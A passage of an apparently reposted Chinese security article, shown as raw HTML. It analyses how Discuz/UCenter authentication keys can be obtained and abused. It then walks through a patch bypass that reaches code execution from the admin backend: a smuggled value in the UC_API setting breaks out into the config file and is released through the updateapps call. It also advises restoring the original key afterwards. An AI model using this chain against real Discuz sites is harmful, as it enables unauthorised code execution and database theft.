border-box;font-size: 14px;">UC_KEY(dz)也是经常提到的UC_KEY GetWebShell的主角。它主要在2个地方被使用：一个是数据库备份</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">api/db/dbbak.php</span></code><span style="box-sizing: border-box;font-size: 14px;">；一个是针对用户以及登录和缓存文件相关的操作，主要函数位于</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">api/uc.php</span></code><span style="box-sizing: border-box;font-size: 14px;">中的</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">uc_note</span></code><span style="box-sizing: border-box;font-size: 14px;">类。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">关于UC_KEY(dz)的利用，网上基本都是通过</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">uc.php</span></code><span style="box-sizing: border-box;font-size: 14px;">来GetWebShell，但这个漏洞在新版本已经被修复了。UC_KEY(dz)的利用并不局限与此，你去阅读</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">dbbak.php</span></code><span style="box-sizing: border-box;font-size: 14px;">代码就会发现，有了UC_KEY(dz)我们可以直接备份数据库，下载数据库，从数据库中找到相关信息进行进一步渗透。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">另外一个地方就是</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">uc_note</span></code><span style="box-sizing: border-box;font-size: 14px;">类，比如里面的</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">synlogin()</span></code><span style="box-sizing: border-box;font-size: 14px;">函数可以伪造登陆任意前台用户。当然还有其他的函数，在这里就不一一分析。</span></p><h4 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 16px;">3. UC_KEY(uc_server)</span></h4><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">UC_KEY(uc_server)往往是被大家忽视的一个key，它其实比UC_KEY(dz)的使用更多。首先他同样可以备份数据库，对discuz代码比较熟悉的同学应该知道</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">dbbak.php</span></code><span style="box-sizing: border-box;font-size: 14px;">这个文件有2个，一个是上面提到的</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">api/db/dbbak.php</span></code><span style="box-sizing: border-box;font-size: 14px;">；另外一个是</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">uc_server/api/dbbak.php</span></code><span style="box-sizing: border-box;font-size: 14px;">，他们的代码可以说几乎相同。唯一的区别是</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">api/db/dbbak.php</span></code><span style="box-sizing: border-box;font-size: 14px;">中多了2个常量的定义，基本没有太大影响。这个2个文件都能被UC_KEY(dz)和UC_KEY(uc_server)操控。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">UC_KEY(uc_server)几乎管控了Ucenter的所有和权限认证相关的功能。例如权限验证函数 </span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">sid_decode()</span></code><span style="box-sizing: border-box;font-size: 14px;"> ，在该函数中UC_KEY(uc_server)和用户可控的http header共同产生了用于权限认证的sid，因此我们可以伪造sid绕过一些权限检测。还有seccode的相关利用，在这里就不一一介绍。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">整个discuz的程序其实是包含了discuz主程序和Ucenter，Ucenter更依赖于固定密钥体系，个人感觉Ucenter的漏洞可能要比discuz主程序好挖些，你可以去试试。</span></p><h4 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 16px;">4. UC_MYKEY</span></h4><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">UC_MYKEY主要用来加密和解密UC_KEY(discuz)，如下所示：</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.11042183622828784" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1612" src="https://wechat2rss.xlab.app/img-proxy/?k=869c12b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKYRAM2ibDhMASNuFVGDBzzA8tT1dMWwThUuTGfGC4cAFEZIicAWAdLLxw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">authkey(uc_server)存储在数据库的pre_ucenter_applications中的authkey字段，authkey(uc_server)生成的代码如下:</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.6813880126182965" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1585" src="https://wechat2rss.xlab.app/img-proxy/?k=110a5899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKjIWF6lREIia4cExqwkyFYVJibic0HpBoFRg24UxianDvYQjcU7h9qLvJjQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">现在我们就可以知道其实UC_KEY(dz)是可以从2个地方获取到的，一个是配置文件，一个是数据库。对discuz比较熟悉的同学这里会发现一个问题，通过注入获得的authkey (uc_server)，有时候可以直接当UC_KEY(dz)用，但有时候发现是一个大于64位的字符串或小于64位的字符串。这个是因为，如果你是默认discuz主程序和Ucenter安装，这个时候数据库pre_ucenter_applications中的authkey字段存储的就是UC_KEY(dz)，如果你通过ucenter后台修改过UC_KEY(dz)，数据库pre_ucenter_applications中的authkey字段存储的就是通过上面提到的算法计算出来的结果了，这个结果的长度是变化的，是一个大于等于40位的字符串。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">总结</span></strong></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">针对于getshell来说，在x3以前的低版本和部分未更新的x3.2以前版本，我们可以直接利用discuz的uc_key(dz)结合api/uc.php前台getshell,获得uc_key(dz)的方法有:</span></p><ol start="" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">数据库中的authkey(uc_server)结合UC_MYKEY，这个在UCenter后台也能看见，没有使用*显示。</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">文件泄露等问题获得uc_key(dz)</span></p></li></ol><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">在x3版本以后，对于key的利用主要集中在操作数据库和UCenter功能上，利用各种办法进入discuz后台，结合接下来讲到的后台GetWebShell的方法获取最终权限。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(255, 191, 0);text-align: center;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 20px;">后台GetWebShell的补丁绕过</span></h2><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">在小于x3.4的版本中，网上已经公布的利用方法是：后台修改Ucenter数据库连接信息，由于写入未转义，一句话木马直接写入</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">config/config_ucenter.php</span></code><span style="box-sizing: border-box;font-size: 14px;">文件中，导致代码执行。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">但是在新版本的x3.4中已经修复了这个漏洞，代码如下：</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="1.5685185185185184" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bae4ea51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmK2jw2REDN7G2pCcYEMEiaZn0K3IUZH0qyBNZ4G7qf6SwFZ0DAXoWDAoA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">补丁对 </span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">$ucdbpassnew</span></code><span style="box-sizing: border-box;font-size: 14px;"> 进行了转义，而且</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">if(function_exists(&#34;mysql_connect&#34;) &amp;&amp; ini_get(&#34;mysql.allow_local_infile&#34;)==&#34;1&#34; &amp;&amp; constant(&#34;UC_DBHOST&#34;) != $settingnew[&#39;uc&#39;][&#39;dbhost&#39;])</span></code><span style="box-sizing: border-box;font-size: 14px;">, 该补丁还解决了恶意mysql文件读取的问题。</span></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 18px;">绕过补丁</span></h3><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">通过补丁，我们知道了所有的Ucenter配置参数都会进行转义，但是我发现discuz的配置文件更改，都是利用字符替换完成的，在替换字符中，很容易出现问题，所以在源码中寻找配置修改的相关代码，最后在 api/uc.php 中找到了利用点。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="1.1490740740740741" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1a8e1e92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKCTZNYpBdsxSKtiawuR37WF9zLN09WFCF8hIfib1QCsicicatiaVleKupQpA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">在 updateapps 函数中完成了对 uc_api 的更新，这里的正则在匹配时是非贪婪的，这里就会存在一个问题，当uc_api为 </span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">define(&#39;UC_API&#39;, &#39;<a href="http://127.0.0.1/discuz34/uc_server\" target="_blank">http://127.0.0.1/discuz34/uc_server\</a>&#39;);phpinfo();//&#39;);</span></code><span style="font-size: 14px;"><span style="box-sizing: border-box;"> 时，我们执行updateapps函数来更新uc_api时就会将phpinfo();释放出来。</span> <span style="box-sizing: border-box;">要使用updateapps函数来更新uc_api，我们需要知道UC_KEY(dz)的值，而UC_KEY(dz)的值，恰好是我们后台可以设置的。</span></span></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 18px;">利用分析</span></h3><ol start="" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p><span style="box-sizing: border-box;font-size: 14px;">进入后台</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">站长</span></code><span style="box-sizing: border-box;font-size: 14px;">-</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">Ucenter设置</span></code><span style="box-sizing: border-box;font-size: 14px;">，设置UC_KEY=随意(一定要记住，后面要用), UC_API= </span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;"><a href="http://127.0.0.1/discuz34/uc_server" target="_blank">http://127.0.0.1/discuz34/uc_server</a>&#39;);phpinfo();//</span></code><span style="font-size: 14px;"> </span><img data-ratio="0.7071713147410359" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="1004" src="https://wechat2rss.xlab.app/img-proxy/?k=57bc6f91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKdiaoy3VibxLsJBSdiatFT3XNrIwcdDBBVoDUrDSchZU3iaFotrsDACXEiaA%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 14px;"> </span><img data-ratio="0.5645514223194749" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="914" src="https://wechat2rss.xlab.app/img-proxy/?k=944b08da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKcVIbYuO7JD37vIHzov7WVGhgIvicmUZibCFU1A33GNpVX2THHo6uz1Iw%2F640%3Fwx_fmt%3Djpeg"/></p></li></ol><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">成功写进配置文件，这里单引号被转移了，我们接下来使用UC_KEY(dz)去调用</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">api/uc.php</span></code><span style="box-sizing: border-box;font-size: 14px;">中的</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">updateapps</span></code><span style="box-sizing: border-box;font-size: 14px;">函数更新UC_API。</span></p><ol start="2" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">利用UC_KEY(dz) 生成code参数，使用过UC_KEY(dz) GetWebShell的同学肯定不陌生，这里使用的UC_KEY(dz)就是上面我们设置的。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><img data-ratio="1.601113172541744" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1078" src="https://wechat2rss.xlab.app/img-proxy/?k=e0e4f527&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKz8aceMQMKSLxWNH966dT0cLWTxAxTYt1JqF69bskogFv2xXMl4CPeg%2F640%3Fwx_fmt%3Djpeg"/></p></li><li style="box-sizing: border-box;font-size: 14px;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="font-size: 14px;"><span style="box-sizing: border-box;">将生成的数据带入GET请求中的code 参数，发送数据包</span> </span><img data-ratio="0.378" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="2500" src="https://wechat2rss.xlab.app/img-proxy/?k=8ed84a98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKlTGCliamUWJd8hcKom1l2ml4JY9uE3YHjxqu331c8W7UGRWCZPRygNg%2F640%3Fwx_fmt%3Djpeg"/></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="font-size: 14px;"><span style="box-sizing: border-box;">访问</span><a href="http://127.0.0.1/discuz34/config/config_ucenter.php" target="_blank">http://127.0.0.1/discuz34/config/config_ucenter.php</a><span style="box-sizing: border-box;"> 代码执行成功</span> </span><img data-ratio="0.4935245143385754" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="2162" src="https://wechat2rss.xlab.app/img-proxy/?k=4c6312c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKx9ibOe6xAtr60WYXB66v4BCkic8F2UeDY8jPTNYUBdxo1V0dibURB2icqw%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 14px;"> </span><img data-ratio="0.5208845208845209" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="814" src="https://wechat2rss.xlab.app/img-proxy/?k=710ea71f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmK5fEJCFzOrR9lIBEYlCicoQte1OsrOlcDV2tY4preTicficcH4ZVxpjS8Q%2F640%3Fwx_fmt%3Djpeg"/></p></li></ol><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">到此成功GetWebShell，在这个过程中，有一点需要注意的是，我们修改了程序原有的UC_KEY(dz)，成功GetWebShell以后一定要修复，有2中方法：</span></p><ol start="" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">从数据库中读取authkey(uc_server)，通过UC_MYKEY解密获得UC_KEY(dz)，当然也有可能authkey(uc_server)就是UC_KEY(dz)。</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">直接进入Ucenter后台修改UC_KEY，修改成我们GetWebShell过程中所设置的值。</span></p></li></ol><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, 